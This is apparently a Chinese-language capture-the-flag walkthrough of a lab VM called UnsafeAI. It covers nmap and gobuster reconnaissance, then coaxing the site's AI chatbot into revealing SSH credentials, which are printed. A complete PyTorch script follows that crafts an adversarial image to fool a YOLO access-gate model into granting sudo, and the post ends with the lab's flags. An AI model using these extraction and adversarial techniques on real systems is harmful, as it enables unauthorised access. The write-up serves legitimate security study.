Mazesec_UnsafeAI

靶机来源：QQ群-660930334

难度：Easy

一、信息收集

1、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-23 14:31 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00036s latency).
MAC Address: 0A:00:27:00:00:07 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00030s latency).
MAC Address: 08:00:27:01:7B:63 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.57
Host is up (0.00050s latency).
MAC Address: 08:00:27:9B:C0:D4 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.61 seconds

靶机IP：192.168.2.57

2、端口扫描

1.全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.57                   
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-23 14:32 +0800
Nmap scan report for 192.168.2.57
Host is up (0.00031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:9B:C0:D4 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.90 seconds

开放端口：22、80

2.详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.57
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-23 14:32 +0800
Nmap scan report for 192.168.2.57
Host is up (0.00064s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open  http    Werkzeug httpd 3.1.5 (Python 3.9.2)
|_http-server-header: Werkzeug/3.1.5 Python/3.9.2
|_http-title: MazeSec Technology
MAC Address: 08:00:27:9B:C0:D4 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds

3.udp扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.57                    
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-23 14:33 +0800
Nmap scan report for 192.168.2.57
Host is up (0.0011s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:9B:C0:D4 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 107.82 seconds

二、WEB渗透

1、80网站-AI

访问80端口，是一个ai网站 img

2、目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kali)-[~/miaosec]
└─# gobuster dir -u http://192.168.2.57 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,bak,md,db,js
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.57
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              bak,md,db,js,php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
contact              (Status: 200) [Size: 3915]
admin                (Status: 200) [Size: 7571]
logout               (Status: 302) [Size: 189] [--> /]
manage               (Status: 302) [Size: 199] [--> /admin]

访问contact，可以进行提问 img

那么就尝试让他说出账户名和密码 成功获取到登录凭证：twansh:DontStopMeNowImHavingSuchAGoodTime img

三、获取twansh权限

使用获取到的凭证进行登录，成功获取到权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/miaosec]
└─# ssh twansh@192.168.2.57           
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
twansh@192.168.2.57's password: 
Linux unsafeAI 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 22 23:44:11 2026 from 192.168.2.4
twansh@unsafeAI:~$ id
uid=1000(twansh) gid=1000(twansh) groups=1000(twansh)

四、权限提升

查看sudo -l

1
2
3
twansh@unsafeAI:~$ sudo -l
[sudo] password for twansh: 
Sorry, user twansh may not run sudo on unsafeAI.

无法运行

在/home/twansh找到一个文件MazeSec_gate.pt

1
2
3
4
5
6
7
8
9
10
11
12
twansh@unsafeAI:~$ ls -la
total 6136
drwx------ 3 twansh twansh    4096 Jan 23 00:10 .
drwxr-xr-x 3 root   root      4096 Jan 19 08:46 ..
lrwxrwxrwx 1 root   root         9 Jan 19 10:41 .bash_history -> /dev/null
-rw-r--r-- 1 twansh twansh     220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 twansh twansh    3526 Apr 18  2019 .bashrc
drwx------ 3 twansh twansh    4096 Jan 23 00:10 .gnupg
-rw-r--r-- 1 twansh twansh 6249322 Jan 19 10:40 MazeSec_gate.pt
-rw-r--r-- 1 twansh twansh     807 Apr 18  2019 .profile
-rw-r--r-- 1 twansh twansh      44 Jan 19 09:44 user.txt
-rw------- 1 twansh twansh     827 Jan 22 23:51 .viminfo

MazeSec_gate.pt 是一个以 .pt 为扩展名的文件，通常表示这是由 PyTorch（一个流行的深度学习框架）保存的模型文件。

Ahiz佬的脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import torch  
import torch.nn as nn  
from ultralytics import YOLO  
import numpy as np  
from PIL import Image  
import os  
  
def generate_adversarial_image(model_path, output_path='adversarial_boss.png', steps=200, lr=0.01):  
    print(f"Loading model from {model_path}...")  
    model = YOLO(model_path)  
  
    # Ensure model is in eval mode  
    model.model.eval()  
  
    # Create a random noise image or a solid color image  
    # Shape: [1, 3, 640, 640] - standard YOLOv8 input size    # Initialize with gray 0.5    img_tensor = torch.full((1, 3, 640, 640), 0.5).to('cpu')  
  
    # Add some random noise to break symmetry  
    img_tensor = img_tensor + torch.randn_like(img_tensor) * 0.1  
    img_tensor = torch.clamp(img_tensor, 0, 1)  
  
    img_tensor.requires_grad = True  
  
    optimizer = torch.optim.Adam([img_tensor], lr=lr)  
  
    print("Starting optimization...")  
    for i in range(steps):  
        optimizer.zero_grad()  
  
        # Forward pass  
        # model.model returns a tuple, first element is the prediction        # Shape: [1, 6, 8400] -> [Batch, 4+Classes, Anchors]        preds = model.model(img_tensor)[0]  
        # Boss class is index 4 (0,1,2,3 are box coords, 4 is Boss, 5 is Employee)  
        # We want to maximize the score of Boss class        # We take the maximum score across all anchors        boss_scores = preds[0, 4, :]  
  
        # We also want to minimize Employee score (index 5)  
        # employee_scores = preds[0, 5, :]  
        # Loss: Minimize negative max boss score        # We can also encourage multiple detections, but max is a good start        loss = -torch.max(boss_scores)  
  
        loss.backward()  
  
        if i % 20 == 0:  
            print(f"Step {i}, Loss: {loss.item():.4f}, Max Boss Score: {-loss.item():.4f}")  
  
        optimizer.step()  
  
        # Clip image to valid range [0, 1]  
        with torch.no_grad():  
            img_tensor.clamp_(0, 1)  
  
    # Save the generated image  
    print("Optimization finished.")  
  
    # Convert tensor to PIL Image  
    img_np = img_tensor.detach().cpu().squeeze().permute(1, 2, 0).numpy()  
    img_np = (img_np * 255).astype(np.uint8)  
    img_pil = Image.fromarray(img_np)  
    img_pil.save(output_path)  
    print(f"Adversarial image saved to {output_path}")  
  
    return output_path  
  
def verify_image(model_path, image_path):  
    print(f"\nVerifying image {image_path}...")  
    model = YOLO(model_path)  
    results = model(image_path)  
  
    for r in results:  
        print(f"Detections:")  
        for box in r.boxes:  
            cls_id = int(box.cls[0])  
            conf = float(box.conf[0])  
            cls_name = model.names[cls_id]  
            print(f" - Class: {cls_name} ({cls_id}), Confidence: {conf:.4f}")  
  
            if cls_name == 'Boss' and conf > 0.5:  
                print(" SUCCESS: Detected Boss with high confidence!")  
  
if __name__ == "__main__":  
    model_path = 'MazeSec_gate.pt'  
    output_image = 'adversarial_boss1.png'  
  
    generate_adversarial_image(model_path, output_image)  
    verify_image(model_path, output_image)

上传图片 img

成功授与权限 img

重新登录后，发现可以运行sudo -l

1
2
3
4
5
6
7
twansh@unsafeAI:~$ sudo -l
[sudo] password for twansh: 
Matching Defaults entries for twansh on unsafeAI:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User twansh may run the following commands on unsafeAI:
    (ALL : ALL) ALL

直接提权

1
2
3
twansh@unsafeAI:~$ sudo su
root@unsafeAI:/home/twansh# id
uid=0(root) gid=0(root) groups=0(root)

五、查看FLAG

1
2
3
root@unsafeAI:/home/twansh# cat /root/root.txt /home/twansh/user.txt 
flag{root-e4eca7c805714a358c008ca1d3bcde2d}
flag{user-6c24e453aa3942b9a35d21ca623169cc}
Maze-sec
#llm #PyTorch
Mazesec_UnsafeAI
http://miao-sec.github.io/Maze-sec/Mazesec-UnsafeAI/
作者
Miao
发布于
2026年1月23日
许可协议
BY-MIAO